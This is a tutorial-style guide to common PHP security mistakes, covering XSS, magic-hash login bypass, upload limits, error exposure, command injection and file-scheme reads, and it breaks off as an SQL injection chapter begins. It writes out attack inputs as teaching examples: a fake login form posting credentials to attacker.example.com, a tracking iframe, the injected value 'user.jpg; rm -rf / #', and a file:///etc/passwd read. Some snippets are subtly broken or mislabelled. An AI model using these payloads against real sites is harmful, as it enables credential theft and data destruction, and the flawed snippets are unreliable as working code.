100 common PHP mistakes

(To avoid)

By: Gábor Funk

A.K.A Afghan Goat

Table of contents

Prologue

In this book I have collected tons of common mistakes begineer PHP devs make. (I am not sure that it will be exactly one hundred, but I try to list as much as possible). Note, that these code snippets were mostly made for PHP 8. Most people say that these security issues that I will mention is all PHP's fault but, in my opinion, this is not true. The fact, that people say this, creates a spotlight which highlights the actual problem. The hard truth is that people are very stupid and imperfect. They make stupid decisions, stupid errors and stupid mistakes which will be hard to debug. But let us not waste any more time and get into the actual errors.

I can also make mistakes, as I only worked PHP for 10 years as of now, so feel free to send me corrections via email, if you found any.

Prerequisites

Basic knowledge of PHP and SQL is needed. This guide tells you what you have done wrong. If you did not do anything then you haven't done anything wrong so...

I recommend you to make a basic forum app or chat app as a basic exercise, then come back to this guide if you are new to PHP.

Validation errors

The most common type of error I see beginners make, be it an SQL query or just a POST or GET event. The lack of even the simplest sanitization of raw data when others process POST requests is baffling to me.

What are validation errors?

Let me get the definition straight. Validation errors occur in the simplest form when the end user makes an unexpected input. For example, you have an app which tracks survey results. The survey consists of people giving their age. After everyone took the survey, you want to know the average age of the participants. The problem is that if you do not set validation some interesting scenarios may happen:

1. A participant mistypes his/her age from 18 to 188. This obviously screws up the statistics and will record an input the participant did not want to make.
2. A bad actor may try to influence the results by submitting fake data, for example negative 10 or 99999 for age.

3. A participant may give something silly as submission, for example, if we are only prepared for handling numbers, then “Nine, but will be ten in a month” will be an answer we cannot handle.
4. A bad actor may try to submit data, which tries to exploit the inner workings of our system and will try to do something malicious on our machine.

I know, this is a silly example, but very effectively demonstrates that validation is very, very important. For example, for the first two problems, a quick fix would be capping the age between 4 and 120, this mostly covers everyone who is willing to participate in this survey. Of course, this does not prevent dishonesty, but no validation is good enough to prevent that either. For the third answer, we could just check if the user gave use a number, if not, we signal to the user that the survey expects a number. The fourth question, you see, is the main topic this book will discuss. This is one of the hardest problems in cybersecurity. Without getting into the theory more, let me show some real-world examples.

Usernames on a forum

A scenario. We have a forum (or a Facebook clone) where users can customize their profile and give nicknames for themselves. Then, if they comment, we make their names into a link which directs the users who click to their home page. For example, to https://exampleforum.com/user.php?name=<USERNAME>. On that page, the user’s nickname is shown like this:

```php
<?php

//Default sql connection code:
$server = 'localhost';
$username = 'root';
$password = '********';
$database = 'example_db';

//Estabilish connection
$conn = new mysqli($server, $username, $password, $database);

//Check is connection successful
if (!$conn) {
    exit("Error, failed to estabilish connection with the database!");
}

//Check if queried database reachable.
if (!mysqli_select_db($conn, $database)) {
    exit("Error, database missing from procduction. This can't mean any good.");
}

//... OTHER LOGIC ...

if(isset($_GET['name'])) {

    $name = $_GET['name'];
```

```
    echo "<h1>User: $user[name]</h1>";
    //We can also show the profile, description here…
} else {
    //Show default page if no user name is supplied.
}
?>
```

Okay, we check that the name is given or not. If not, we show a default page. Now, the echo command shows the queried user's given name, which may be Adam or Eve. The problem is that we don't really check what the user had set as its nickname. Sure, he/her can set Mario or Luigi as the nickname but he could also set:

```
</script><script>alert('ALERT! YOUR COMPUTER HAS VIRUS! CONTACT TECH SUPPORT AT scam.com/dontvisit !')</script>
```

…as his full name. Nice nick! Isn't it? But what does it do? It is a scam damnit! When the user visits the alleged profile, a fake warning message will greet him which can be used to scam the user. This is known as an XSS attack. XSS attack, or Cross Site Scripting attacks are malicious tactics which are used to "inject" extra content into a site which then can be used for phishing, tracking or scamming. For example, the bad actor can set a script which deletes the whole page and replaces it with a fake login page which can be used to steal credentials. Some more nasty examples:

An iframe exploit which can be used to track user activity.

```
<iframe src="https://attacker.example.com/mal" width=0 height=0></iframe>
```

The same exploit can be used to display a full malicious page instead of the original desired content.

Name as a fake form:

```
<form action="https://attacker.example.com/collect" method="POST">
  <input name="user"/>
  <input name="pass" type="password"/>
  <input type="submit" value="Login"/>
</form>
```

Why does this work? The echo will append html content to the body in this format: <h1>Name</h1>. In the good case, this will be a header tag with data in this but since this is interpreted as HTML, the attacker can set HTML tag or tags as his name to trick the page into loading something malicious.

But what can we do to prevent this? Easy, just skip the HTML content and tell the browser to treat it like text and not HTML.

```
<?php

//Default sql connection code:
$server = 'localhost';
$username = 'root';
$password = '********';
```

```php
$database = 'example_db';

//Estabilish connection
$conn = new mysqli($server, $username, $password, $database);

//Check is connection successful
if (!$conn) {
    exit("Error, failed to estabilish connection with the database!");
}

//Check if queried database reachable.
if (!mysqli_select_db($conn, $database)) {
    exit("Error, database missing from procduction. This can't mean any good.");
}

//... OTHER LOGIC ...

if(isset($_GET['name'])) {

    $name = $_GET['name'];

    echo '<h1>User: '.htmlspecialchars($name, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8').'</h1>';
} else {
    //Show default page if no user name is supplied.
}
?>
```

What changed? Instead of emitting the $name variable we use the htmlspecialchars() built in function which skips the html tags from the name, so adding funny names like COOL BOLD NAME will be treated as normal text and not as: **COOL BOLD NAME**. That was XSS 101, expect more of this on the go.

The magic hash attack

Suppose we have a login page and the login credentials from that page gets sent to the logged_in.php which looks like this:

```php
<?php

//... OTHER LOGIC ...

$stored_admin_hash = '0e830400451993494058024219903391'; //The md5 admin login hash

$attacker_input = '240610708'; //Someone tried to input this password, the md5 hash of this is: 0e462097431906509019562988736854

if (md5($attacker_input) == $stored_admin_hash) {

    //Show admin login or admin dashboard
    echo "Welcome, admin!";
} else {
    echo "normal user";
}
?>
```

This example simplifies the user input. (This is normally done with POST but it doesn't matter in this example). The login page prompts a window which asks for the admin password. We store the admin password's HASH (For god's sake do no store plain password ANYWHERE) and check if the supplied password's hash is the same as the admin's password hash. This is very simple and straightforward, right? No, you see, PHP likes to coerce values. If you examine these hashes closely, these md5 values resemble to exponential forms of numbers. Some of you are already banging your heads to the wall, but for people who did not get it, let me explain. The exponential form is a special form where you can print numbers in this format: <Starting Number>e<Number of zeroes after the initial number>. This may be confusing, here is some code:

```php
<?php
    echo 1e5;
    echo "\n";
    echo 100000;
?>
```

Both first and last echoes prints 100000 as a number. The last one is straightforward but the first says: I have an 1 which is followed by five zeroes, so 100000.

An example for 200000:

```php
<?php
    echo 2e5;
    echo "\n";
    echo 200000;
?>
```

But then, let me show, what happens when we put 0 as the first number:

```php
<?php
    echo 0e548; //Output: 0
?>
```

That is right, we get a number starting with 0 followed by an arbitrary number of zeroes. Will it matter how much? Not really, it will be zero always. So, this is the first part of the attack. The second part is PHP type coercion. In short, type coercion is an event where PHP got 2 different (or PHP thinks it is 2 different type of values) to operate on and now needs a backup plan. For example, normal languages like C++ forbids the comparison of a number and a string, or operating between a number and a string, but in PHP these expressions are perfectly normal:

```php
<?php
    echo 5+"2"; //Output: 7

    echo "\n";
```

```
    if(4 == "4"){
        echo "4 is equal of string literal of 4.\n";
    }

    if("5"=="5e0"){
        echo "5 == 5 in exp form";
    }
?>
```

The output of this code snippet:

```
7
4 is equal of string literal of 4.
5 == 5 in exp form
```

All the above will be equal because of PHP type coercion. Now let me combine these 2 PHP quirks to finalize, what is happening in the magic hash attack. For reminder, here is the code again:

```
<?php

//... OTHER LOGIC ...

$stored_admin_hash = '0e830400451993494058024219903391'; //The md5 admin login
hash

$attacker_input = '240610708'; //Someone tried to input this password, the md5
hash of this is: 0e462097431906509019562988736854

if (md5($attacker_input) == $stored_admin_hash) {

    //Show admin login or admin dashboard
    echo "Welcome, admin!";
} else {
    echo "normal user";
}
?>
```

So, the md5() function evaluates and returns the hash of the attacker input which will be in the form of 0e462... Now, since PHP sees this format: <X>e<Y> it assumes that these are numbers in exponential forms. And now, you see, both hashes start with a “0e” expression, which in our language is: “a number which starts with a 0 and is followed by N digits of 0 characters”. You see this is bad, PHP thinks that both are numbers, and since both numbers are evaluated for 0, and since 0 is equals with 0, the admin login is granted. Now, this is a big feat, since the attacker can submit ANY string literal which’s hash will start at 0e. **IMPORTANT**: Not all md5 hashes start with 0e but this is a well known issue because most times, people will not even know about this exploit in their systems and this exploit is found in almost all places where the password hash is loosely checked.

Another example of a string literal which's md5 hash will start with 0e:

```php
<?php
    //...

    $attacker_input = 'QNKCDZO';

    //...
?>
```

But what can we do to prevent this? There are two main solutions for this:

1. Use "===" instead of normal comparison "==". "===" Will enforce type check and will check for type equality, so string is not equal to number anymore and no type coercion will be present.
   Let me show what happens if we use strict type check in the previous example:

```php
<?php

    echo "\n";

    if(4 === "4"){
        echo "4 is equal of string literal of 4.\n";
    }

    if("5"==="5e0"){
        echo "5 === 5 in exp form";
    }
?>
```

   The output of this will be nothing, since now the first if won't coerce and the number type is not equal with the string type. The second will not coerce, so a string to string comparison will be used, which will be false since the two strings do not match.
   Now, this can be used to prevent the magic hash attack:

```php
<?php

//... OTHER LOGIC ...

$stored_admin_hash = '0e830400451993494058024219903391'; //The md5 admin login
hash

$attacker_input = '240610708';

if (md5($attacker_input) === $stored_admin_hash) {

    //Show admin login or admin dashboard
    echo "Welcome, admin!";
} else {
    echo "normal user";
}
?>
```

But there is an even better way to secure hash comparisons.

2. Using the hash_equals() built-in PHP function:

```
<?php

//... OTHER LOGIC ...

$stored_admin_hash = '0e830400451993494058024219903391'; //The md5 admin login hash

$attacker_input = '240610708';

if (hash_equals($stored_admin_hash, md5($attacker_input))) {

    //Show admin login or admin dashboard
    echo "Welcome, admin!";
} else {
    echo "normal user";
}
?>
```

The hash_equals() function does a safe byte-wise comparison and avoids timing attacks as well. Timing attacks will be shown later.

Missing email validation

You might already know about the filter_var() command which can be used to check if a string variable is a valid email address. (Eg: something@something1.domain). I made a test, which showcases the flaws of using filter_var() only by itself:

```
<?php

//... OTHER LOGIC ...

$tests = [
    'ali@gmail.com',
    'bob@notreallyexistingdomain.xyz',
    'bob@valid-domain.xyz',
    'bob@invalid_domain.xyz',
    'bob@localhost',
    'bob@[127.0.0.1]' // valid per RFC (literal IP domain)
];

//Basic function which uses filter_var() and returns a string corresponding on the validness of the email.
function is_email_valid($email){
    return (filter_var($email, FILTER_VALIDATE_EMAIL) ? 'VALID' : 'INVALID');
}

foreach ($tests as $email) {
    $ok = is_email_valid($email);
    echo "$email -> $ok\n";
}
?>
```

This is a PHP test script, which tests the output of filter_var() using various email addresses. The output will be:

```
ali@gmail.com -> VALID
bob@notreallyexistingdomain.xyz -> VALID
bob@valid-domain.xyz -> VALID
bob@invalid_domain.xyz -> INVALID
bob@localhost -> INVALID
bob@[127.0.0.1] -> VALID
```

As you can see, the filter_var() accepts most supplied email addresses from the test with the exception of the syntactically incorrect ones like this localhost one and the invalid_domain.xyz because it contains the "_" symbol which is not allowed in the domains. (Or at least the filter_var() will not like it when supplied).

The second issues is that the filter_var() does not check if the supplied domain (from the name@domain.tld) is correct and existing. For example, it flagged the notreallyexistingdomain.xyz and the valid-domain.xyz domains although they do not exist (as of the date of making this guide).

We can check it by looking for something called an MX record, which is in short is needed for mailing, so we can know if the supplied email address's domain can even capable of mailing. We can check it using the checkdnsrr($domain, 'MX') function which takes in the domain from the email address. An example check-email function would look like this:

```php
<?php

//An attempt to check if the domain even exists and is capable of mailing.
function is_valid_email(string $email): string {

    // DNS check: prefer MX, fallback to A/AAAA, which are required for receieving
emails.

    //Parse domain out from the email string: <name>@<domain>.<tld>
    $domain = substr(strrchr($email, "@"), 1);
    if (!$domain) return "No valid domain";

    // Domain at least has an MX record, necessary to receive email
    if (checkdnsrr($domain, 'MX')) {
        return "Yes, has MX record";
    }

    // Fallback: some domains accept mail on A/AAAA (no MX)
    if (checkdnsrr($domain, 'A') || checkdnsrr($domain, 'AAAA')) {
        return "Yes, A/AAAA (no MX)";
    }

    return "Likely not valid email";
}

// Example:
$tests = [
```

```
    'ali@gmail.com',
    'bob@notreallyexistingdomain.xyz',
    'bob@valid-domain.xyz',
    'bob@invalid_domain.xyz',
    'bob@localhost',
    'bob@[127.0.0.1]' // valid per RFC (literal IP domain)
];

foreach ($tests as $email) {
    echo $email . ' -> ' . (is_valid_email($email) ) . PHP_EOL;
}
```

Now, we can see, that this filters more accurately, of course, calling filter_var() is still strongly advised by me. The raw output of this is:

```
ali@gmail.com -> Yes, has MX record
bob@notreallyexistingdomain.xyz -> Likely not valid email
bob@valid-domain.xyz -> Likely not valid email
bob@invalid_domain.xyz -> Likely not valid email
bob@localhost -> Likely not valid email
bob@[127.0.0.1] -> Likely not valid email
```

As you can see, it identified that the fake, non-existent domains really do not exist and the supplied email addresses are probably fake.My suggested full code, combining the full power of filter_var() is:

```
<?php

//An attempt to check if the domain even exists and is capable of mailing.
function is_valid_email(string $email): string {

    //Filter var check:
    if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
        return "Deemed invalid by filter-var!";
    }

    // DNS check: prefer MX, fallback to A/AAAA, which are required for receieving
emails.

    //Parse domain out from the email string: <name>@<domain>.<tld>
    $domain = substr(strrchr($email, "@"), 1);
    if (!$domain) return "No valid domain";

    // Domain at least has an MX record, necessary to receive email
    if (checkdnsrr($domain, 'MX')) {
        return "Yes, has MX record";
    }

    // Fallback: some domains accept mail on A/AAAA (no MX)
    if (checkdnsrr($domain, 'A') || checkdnsrr($domain, 'AAAA')) {
        return "Yes, A/AAAA (no MX)";
    }

    return "Likely not valid email";
}

// Example:
$tests = [
```

```
    'ali@gmail.com',
    'bob@notreallyexistingdomain.xyz',
    'bob@valid-domain.xyz',
    'bob@invalid_domain.xyz',
    'bob@localhost',
    'bob@[127.0.0.1]' // valid per RFC (literal IP domain)
];

foreach ($tests as $email) {
    echo $email . ' -> ' . (is_valid_email($email) ) . PHP_EOL;
}
```

The output of this clearly shows that filter_var() catches the syntactically incorrect email addresses but fails to recognize the non-existent ones:

```
ali@gmail.com -> Yes, has MX record
bob@notreallyexistingdomain.xyz -> Likely not valid email
bob@valid-domain.xyz -> Likely not valid email
bob@invalid_domain.xyz -> Deemed invalid by filter-var!
bob@localhost -> Deemed invalid by filter-var!
bob@[127.0.0.1] -> Likely not valid email
```

Still, I recommend using filter_var() too, because it can catch the nastily formatted email addresses.

ALWAYS limit file upload sizes!

Imagine, you have a forum, where users can upload image attachments to back their comments. Users are supposed to upload one or two images which are at maximum 1MB in sizes. An example file uploading logic may look like this:

```
<?php
// ...

//Check if the user uploaded any files.
if (!empty($_FILES['file'])) {

    //Get the file
    $tmp = $_FILES['file']['tmp_name'];

    //Get the base file name
    $name = basename($_FILES['file']['name']);

    //Get the file contents by reading it to the memory.
    $contents = file_get_contents($tmp);

    //No size check, no MIME/content verification, save the file to a location.
    file_put_contents('/var/www/image_uploads/' . $name, $contents);

    //Debug check if the file got uploaded.
    echo "Uploaded: $name (size: " . strlen($contents) . " bytes)\n";

    //... You can show the image here by echoing an image with src to the image
file.
}
```

Now, you see, there are a plethora of issues with this code snippet. The first one, is that we are reading in the WHOLE file contents in the memory WITHOUT checking its size. A bad actor can upload a file which is TERRABYTES large, and our machine will grind to a halt. Or if the program does not crash, it can cause significant slowdowns, or even worse, if you run in a cloud solution, the process may request more resources for scalability, and this will result in you paying a lot more.

Also, writing files, without limiting size can clog the disk up really damn fast.

We also don't really have MIME check so not only images, but executable files can be uploaded, which are itself not a problem, but it opens new surface for other kinds of attacks.

We assume that the user is rate limited, because that is a no-brainer, and will not be discussed further. Not implementing rate-limiting will cause DoS attacks to be more devastating, even when setting file size limits.

So, lots of issues, what are the easy fixes? Bad news, there is no ultimate easy solution for all of these problems which would singlehandedly solve all of these issues. BUT there are easy one-liners for each issue.

Let me address the first one: Upload sizes. We should make a directory OUTSIDE the Webroot which stores our files uploaded by the end users. We can implement a check which ensures that files above a certain size will get discarded:

```php
<?php
//...

// MAX allowed file size in bytes (example: 2 MB)
define('MAX_UPLOAD_BYTES', 2 * 1024 * 1024);

//Check uploaded (Client reported) size. If it exceeds our limit, we do not ally
the uploading.
if ($file['size'] > MAX_UPLOAD_BYTES) {
    http_response_code(413); //Send optional response code: file too large
    echo "File too big!";
    exit;
}

// ... MOVE THE FILE

// The client may lied to us about the file size, so we verify it for extra
caution and safety:
$finalSize = filesize($target); //Get the size of file in bytes.
if ($finalSize > MAX_UPLOAD_BYTES) {
    unlink($target); //If it is too big, perform n unlink from the target
variable.
    http_response_code(413); //Send optional response code: file too large
    echo "File too large after save.";
    exit;
}
```

```
echo "Upload successful\n"; //If we got into this point without an exit call, the
file was saved properly.
?>
```

Perfection. Our second problem: The user can upload any file type. This can be fixed by checking the file type on the server:

```
<?php
//...

// Use finfo to get MIME type (server-side)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);

//Only allow images: jpg,png,gif,jpeg.
$allowed = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed, true)) {
    http_response_code(415); //Send optional response code: unsupported mediatype
    echo "Invalid file type!";
    exit;
}

//...
?>
```

Perfection, we should also make a separate upload directory outside the Webroot folder, which holds the files:

```
<?php
//...

//The destination directory, which will hold the uploaded files
$uploadDir = '/var/uploads/app_uploads';
if (!is_dir($uploadDir)) mkdir($uploadDir, 0750, true);

//...
?>
```

The end script (with some other notable improvements) looks like this:

```
<?php
//...

// MAX allowed file size in bytes (example: 2 MB)
define('MAX_UPLOAD_BYTES', 2 * 1024 * 1024);

//The destination directory, which will hold the uploaded files
$uploadDir = '/var/uploads/app_uploads';
if (!is_dir($uploadDir)) mkdir($uploadDir, 0750, true);

//We check if the user uploaded any file, since the logic only needs to be
continued if any file was uploaded, we can exit if no file is present
if (empty($_FILES['file'])) {
    //... Other logic for handling no files. (If needed)
```

```
    exit;
}

//Get the file
$file = $_FILES['file'];

//Check for PHP upload errors, like bad file.
if ($file['error'] !== UPLOAD_ERR_OK) {
    http_response_code(400); //Send optional response code
    echo "Upload error code: " . $file['error']. "!";
    exit;
}

//Check uploaded (Client reported) size. If it exceeds our limit, we do not ally
the uploading.
if ($file['size'] > MAX_UPLOAD_BYTES) {
    http_response_code(413); //Send optional response code: file too large
    echo "File too big!";
    exit;
}

// Use finfo to get MIME type (server-side)
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);

//Only allow images: jpg,png,gif,jpeg.
$allowed = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed, true)) {
    http_response_code(415); //Send optional response code: unsupported mediatype
    echo "Invalid file type!";
    exit;
}

// We move the file directly, which prevents us from loading the whole content
into memory.
$ext = pathinfo($file['name'], PATHINFO_EXTENSION); //Get extension.

//We also rename our stored file to <random_numbers>.extension, this is required,
because if 2 people upload a rose.png then the first one will get overridden by
the second image which gets uploaded.
$target = $uploadDir . '/' . bin2hex(random_bytes(16)) . '.' . $ext;

//Actually move the uploaded file
if (!move_uploaded_file($file['tmp_name'], $target)) {
    http_response_code(500); //If the uploading fails, we signal an Internal
server error.
    echo "Failed to save file! Internal server error!";
    exit;
}

// The client may lied to us about the file size, so we verify it for extra
caution and safety:
$finalSize = filesize($target); //Get the size of file in bytes.
if ($finalSize > MAX_UPLOAD_BYTES) {
    unlink($target); //If it is too big, perform n unlink from the target
variable.
    http_response_code(413); //Send optional response code: file too large
    echo "File too large after save.";
```

```
    exit;
}

echo "Upload successful\n"; //If we got into this point without an exit call, the
file was saved properly.
?>
```

I also implemented a conditional exit if the user did not upload any file and I replaced the file_get_contents() call with a move call which prevents the loading of the full file content in the memory. This is it.

Exposing the errors to the end-user

Again, this should be a no-brainer, but at this point I saw so many raw PHP errors displayed to me, that I honestly don't know anymore. (Although it has been made in asp.net), even my fucking University ledger program made for 1 250 000 DOLLARS exposes raw errors.

Here is an example riddled with insecure error logging:

```
<?php
//...
//Default sql connection code:
$server = 'localhost';
$username = 'root';
$password = '********';
$database = 'example_db';

//Estabilish connection
$conn = new mysqli($server, $username, $password, $database);

//Check is connection successful
if (!$conn) {
    exit("Error, failed to estabilish connection with the database!");
}

//Check if queried database reachable.
if (!mysqli_select_db($conn, $database)) {
    exit("Error, database missing from procduction. This can't mean any good.");
}

try {
    $sql="SELECT * from example_table";
    $conn->query($sql);
} catch (Exception $e) {
    //Shows full DB error to the end user.
    die("DB error: " . $e->getMessage());
}

?>
```

This is a simple code snippet which performs an SQL select on a database table. A try catch block is used to catch and log errors. This may look good and sufficient error

handling but bad actors can exploit this. An example error: Some plugin not installed, and the query failed (This happened in a PHP emulator, but common, unprepared errors can still occur in production):

```
Fatal error: Uncaught mysqli_sql_exception: No such file or directory in
/home/user/scripts/code.php:10
Stack trace:
#0 /home/user/scripts/code.php(10): mysqli->__construct('localhost', 'root',
Object(SensitiveParameterValue), 'example_db')
#1 {main}
  thrown in /home/user/scripts/code.php on line 10
```

Now, at a first glance, this may look fine but remember, die() will emit this to the page so the user can see this too. The problem is, the user can see the database name, the username and host which is used for accessing it. Also, the user can be completely harmless or can be a bad actor who waited for this very moment. This error message singlehandedly can expose:

1. The SQL structure may get exposed, Eg: the SQL query which errored can appear in the error message which can expose it to the attacker.
2. The error message exposes, whether you use PDO or Mysqli.
3. The error message may expose the table/column names and values. Even values that are only present in the PHP code and not the frontend can appear in the error. This can even expose other private variables which are normally are hidden from the end user too.
4. Even full stack traces may get emitted on error depending on the type of the error, exposing the full code structure and layout.
5. Variables may get printed in a certain format, exposing information about how those variables and inputs are stored.
6. XSS embeddings can occur, where bad actors directly supply an unescaped HTML element vector, which causes an error and gets displayed to the end user as unskipped HTML. Bad actors then can use your site to construct links which display scam messages from your domain behalf.

How to fix this? Well, replacing the error with a well-defined error message can help not exposing the important details of the backend infrastructure:

```php
<?php
//...
//Default sql connection code:
$server = 'localhost';
$username = 'root';
$password = '********';
$database = 'example_db';

//Estabilish connection
$conn = new mysqli($server, $username, $password, $database);
```

```php
//Check is connection successful
if (!$conn) {
    exit("Error, failed to estabilish connection with the database!");
}

//Check if queried database reachable.
if (!mysqli_select_db($conn, $database)) {
    exit("Error, database missing from procduction. This can't mean any good.");
}

try {
    $sql="SELECT * from example_table";
    $conn->query($sql);
} catch (PDOException $e) {
    //add the details to the log, which only the admins can see.
    error_log("DB error: " . $e->getMessage());

    //Respond with a predefined generic message to the client.
    http_response_code(500);
    echo "Server error!"; //Generic, safe message, never tells anything about the
DB infrastructure or code layout.
    exit;
}

?>
```

This ensures, that the user sees only a generic and safe error which does not expose the important backend infrastructure details.

Also, for an extra layer of security, make sure to turn display_errors = Off in your php.ini file.

Leaving debug details in production code

You may be mad at me. Why did I include a stupid simple rule in my writing as this? Because it is still very common for PHP developers to forget to clean up after themselves.

Code snippets like this:

```php
<?php

//...

//Get PHP information and webserver details.
phpinfo();

$a = "a string literal";

//Debug log variable.
var_dump($a);

//...

?>
```

Oh boy, where should I start. I will start at the phpinfo() call. This call is a very stupid and rookie mistake to leave in your production code. Sure, somehow, developers do need to check that they have the correct PHP version up and running with the desired configuration, but please, don't leave this in production code.

Leaving this in the production code exposes:

- Php version
- System version, OS version
- Whether you use Apache or Nginx
- FTP configuration
- PHP configuration settings
- Pretty much anything

In fact this command is so verbose, that it makes finding vulnerabilities in your systems way easier for an outsider.

This is one percent of an example phpinfo() call:

```
phpinfo()
PHP Version => 8.2.20

System => Linux ip-172-31-30-90.eu-central-1.compute.internal 5.10.214-
202.855.amzn2.x86_64 #1 SMP Tue Apr 9 06:57:12 UTC 2024 x86_64
Build Date => Jun  5 2024 21:00:20
Build System => Linux ip-172-31-12-118.eu-central-1.compute.internal 4.14.290-
217.505.amzn2.x86_64 #1 SMP Wed Aug 10 09:52:16 UTC 2022 x86_64 x86_64 x86_64
GNU/Linux
Configure Command =>  './configure'  '--with-libdir=lib64' '--enable-fpm' '--
enable-calendar' '--enable-mysqlnd' '--with-mysqli=mysqlnd' '--with-pdo-
mysql=mysqlnd' '--enable-mysqlnd-compression-support' '--with-zlib' '--with-pecl'
'--enable-xml' '--disable-rpath' '--enable-bcmath' '--enable-shmop' '--enable-
sysvsem' '--enable-inline-optimization' '--with-curl' '--enable-mbregex' '--
enable-mbstring' '--enable-intl' '--with-mcrypt' '--with-libmbfl' '--enable-ftp'
'--with-gd' '--enable-gd' '--enable-gd-jis-conv' '--enable-gd-native-ttf' '--with-
openssl' '--with-mhash' '--enable-pcntl' '--enable-sockets' '--with-xmlrpc' '--
enable-zip' '--with-zip' '--enable-soap' '--with-gettext' '--disable-fileinfo' '--
enable-opcache' '--with-pear' '--with-ldap=shared' '--with-config-file-
path=/home/phpversions/etc/php.8/' '--with-config-file-scan-
dir=/home/phpversions/etc/php.d/' '--prefix=/home/phpversions/php/8.2.20'
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /home/phpversions/etc/php.8/
Loaded Configuration File => (none)
Scan this dir for additional .ini files => /home/phpversions/etc/php.d/
Additional .ini files parsed => /home/phpversions/etc/php.d/parser.ini,
/home/phpversions/etc/php.d/php.ini
```

As you can see, it is very serious. It tells almost everything.

How to stop this? Easy, just remove every phpinfo() call from your code. (Instantly after you got the needed information)

Now, about the var_dump() call. A little refresher: The var_dump($variable) is used for debugging, it tells the value, type and attributes of a variable. While this may be a good thing, attackers can know for example in what type do you store a password or a name, do you even perform validation or not? This easy solution is to just remove this ASAP from your code.

You may ask, why did I include this? My answer is while people know about these and that leaving these in production level code is generally considered a bad practice, for some reason they still do it. The most common scenario is that the are putting a var_dump() in an if branch which handles an edge case and later forget to remove it.

NEVER FORGET TO REMOVE LOGGER FUNCTIONS!

Failing to validate JSON entries

Suppose, you have a PHP program which accepts input in a JSON format like this:

```php
<?php

//Assume a user-given input just came into this variable.
$raw = '{"id": 42, "name": "Bob"}';

$data = json_decode($raw, true); // decode into associative array

// Expecting JSON like: {"id": ID, "name": "NAME"}
$id   = $data['id'];    // developer assumes an integer
$name = $data['name'];  // developer assumes a string

//Emitting the name directly to the page.
echo "<h1>Welcome, $name</h1>";

?>
```

The user inputs ids and a name which will be shown in the page. The problem is, trusting the JSON entry data or format can be misleading, since JSON is a semi structured data structure, the attacker can send an array of names which may screw up the rendering of the name on the page or even worse, cause errors which were discussed above. The total worst input could be this:

```php
<?php

//...
$raw = '{"id": [42, 99],"name": "</script><script>alert(\'ALERT! THIS IS A SCAM!
SCAM LINK: www.link.com \')</script>"}';

//...

?>
```

This will make a JavaScript fake alert popup which may execute malicious payloads.

The simple solution for fixing is enforcing the types and skipping HTML tags like this:

```php
<?php

//Assume a user-given input just came into this variable.
$raw = '{"id": 42,"name": "</script><script>alert(\'ALERT! THIS IS A SCAM! SCAM
LINK: www.link.com \')</script>"}';

$data = json_decode($raw, true); // decode into associative array

// Expecting JSON like: {"id": ID, "name": "NAME"}
$id   = intval($data['id']);    // developer assumes an integer
$name = $data['name'];  // developer assumes a string

$safeName = htmlspecialchars($name, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

//Emitting the name directly to the page.
echo "<h1>Welcome, $safeName</h1>";

?>
```

This will generate a nice, skipped output:

```
<h1>Welcome, &lt;/script&gt;&lt;script&gt;alert(&#039;ALERT! THIS IS A SCAM! SCAM
LINK: www.link.com &#039;)&lt;/script&gt;</h1>
```

Shell command injection

This is probably the most dangerous exploit of all and it relies on a VERY bad practice.

Suppose, you have a page where users can pass image links and you do something with those images internally:

```php
<?php
//An example code snippet

// Example usage:
// http://example/local/convert.php?file=previously_uploaded_images/pic.jpg

if (!isset($_GET['file'])) {
    echo "No file specified";
    exit;
}

$file = $_GET['file']; //Untrusted, unchecked file

//Unsafely interpolating user data into a shell command
$cmd = "convert $file out.jpg";   //ImageMagick `convert` - illustrative only
$output = shell_exec($cmd);

echo "<pre>Command: $cmd\n\nOutput:\n$output</pre>";

?>
```

Users can pass in somelink/image.jpg and you do something with that image internally. The command and the output of the command will be out for the user to see. The problem is if the file image contains special symbols then again, some really nasty things could occur. For example, a bad actor can insert this as image name: “user.jpg; rm -rf / #”. Sure the desired first command may fail, but now, the shell will execute a force removal of your files.

How to fix this? First DO NOT USE SHELL_EXEC(). There are better ways of doing things but if you really need to use shell_exec() then use this:

```php
<?php
//...

$in = escapeshellarg($file); //Use this when passing something in a shell.

//...
?>
```

This will escape those special symbols so even in quirky filenames your code will work. With this, the full example:

```php
<?php
//An example code snippet

// Example usage:
// http://example/local/convert.php?file=previously_uploaded_images/pic.jpg

if (!isset($_GET['file'])) {
    echo "No file specified";
    exit;
}

$file = $_GET['file']; //Untrusted, unchecked file

//Unsafely interpolating user data into a shell command
$in = escapeshellarg($file); //Use this when passing something in a shell.
$cmd = "convert $in out.jpg";   //ImageMagick `convert` - illustrative only
$output = shell_exec($cmd);

echo "<pre>Command: $cmd\n\nOutput:\n$output</pre>";

?>
```

Of course, this is still vulnerable to path traversal, but we will address that in the next chapter.

By the way, the exec() command also has this flaw!

Path traversal

This is one of my favourites, the most overlooked exploit.

Suppose you have a SEO analyser tool which shows data about an input website:

```php
<?php
//An example code snippet

// Example usage:
// the user can input "https://example.com" for the URL.

if (!isset($_GET['url'])) {
    echo "No url specified";
    exit;
}

url = $_GET['url']; //Untrusted, unchecked URL

echo "<pre>" . file_get_contents($path) . "</pre>"; //Get the contents from the
URL.

//You may want to analyze loading times, keywords, header counts. etc...

?>
```

This is fine and dandy, but what if someone pasted this as URL: file:///etc/passd? Well, this will emit the whole passwd file contents to the attacker! Straightforward exploit, happens all the time.

How to fix it? We can explicitly tell thet only http or https urls are supported and check reserved domains:

```php
<?php
//...

//Only allow HTTP or HTTPS
$scheme = parse_url($url, PHP_URL_SCHEME);
if (!in_array($scheme, ['http', 'https'], true)) {
    http_response_code(400);
    exit("Invalid URL scheme");
}

//Parse host and block private/reserved IPs
$host = parse_url($url, PHP_URL_HOST);
if ($host === null) {
    http_response_code(400);
    exit("Invalid URL");
}

//...
?>
```

SQL injections

Defend your database! At all costs! This chapter will show you some pretty nasty SQL injections which can lead to serious damages like:

- Leaking full database contents
- Deleting full database along with its contents
- Bad actors may insert misleading data in your database
- Bad actors may alter the contents of your database

If these sound bad, then the next chapter is for you.

